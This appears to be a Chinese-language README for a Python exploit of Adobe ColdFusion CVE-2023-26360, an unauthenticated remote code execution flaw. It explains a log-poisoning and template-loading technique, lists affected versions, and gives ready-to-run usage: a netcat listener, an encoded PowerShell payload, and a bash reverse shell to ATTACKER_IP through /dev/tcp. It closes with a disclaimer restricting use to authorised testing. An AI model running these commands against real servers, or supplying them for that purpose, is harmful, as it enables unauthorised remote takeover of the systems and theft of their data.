CVE-2023-26360 — Adobe ColdFusion 未认证 RCE

针对 CVE-2023-26360 的 Python 远程代码执行漏洞利用实现，基于对原始 Metasploit 模块的分析以及 jakabakos 的先前工作。

为什么需要这个

jakabakos 的概念验证尝试直接将 <cfexecute> 注入到 _variables 参数中，并在一项操作中从 ColdFusion 日志读取输出。这种方法失败，因为 ColdFusion 在该上下文中不会内联评估 CFML 标签，导致返回 500 错误且无代码执行。

本实现复现了 Metasploit 模块所使用的正确两步机制：

日志污染 — 向存在漏洞的 CFC 端点发送格式错误的 _variables 载荷（{<cftry>CFML</cftry>）。ColdFusion 解析失败，会将原始内容（包括 CFML 代码）写入 coldfusion-out.log。
模板执行 — 利用 classname 反序列化漏洞将污染的日志文件作为 ColdFusion 模板加载，使服务器执行注入的 CFML 代码。

命令执行通过 createObject 调用 java.lang.Runtime.exec() 实现，避免了任何对 <cfexecute> 的依赖（该标签在生产或强化部署环境中通常被禁用）。

受影响版本

Adobe ColdFusion 2021 Update 5 及更早版本
Adobe ColdFusion 2018 Update 15 及更早版本

要求

pip install -r requirements.txt

使用方法

运行漏洞利用前请开启监听器：

nc -lvnp 4444

Windows 目标：

python exploit.py --host http://TARGET:8500 --win --cmd "powershell -e <BASE64_PAYLOAD>"

Linux 目标：

python exploit.py --host http://TARGET:8500 --cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

通过代理（例如 Burp Suite）：

python exploit.py --host http://TARGET:8500 --win --cmd "whoami" --proxy http://127.0.0.1:8080

选项

标志	描述
`--host`	目标基础 URL（例如 `http://192.168.1.10:8500`）

工作原理

┌─────────────┐         第1步：植入 CFML           ┌──────────────────┐
│   攻击者     │ ──── POST /_variables={<cftry>...  ──► iedit.cfc        │
│             │      CF 解析失败，记录 CFML           │                  │
│             │                                       │ coldfusion-      │
│             │         第2步：触发执行               │ out.log          │
│             │ ──── POST classname=X..\logs\cf... ──► (作为 CFML 模板  │
│             │                                       │  加载)           │
│   监听器     │ ◄─────────────── 反弹 shell ─────────│                  │
└─────────────┘                                       └──────────────────┘

参考

免责声明

本工具仅用于教育目的和授权的安全评估（渗透测试、CTF、实验室环境）。在未经明确书面许可的情况下对系统运行此漏洞利用是违法的。作者对任何滥用行为不承担任何责任。

Adobe_ColdFusion_RCE_Unauthenticated

最受欢迎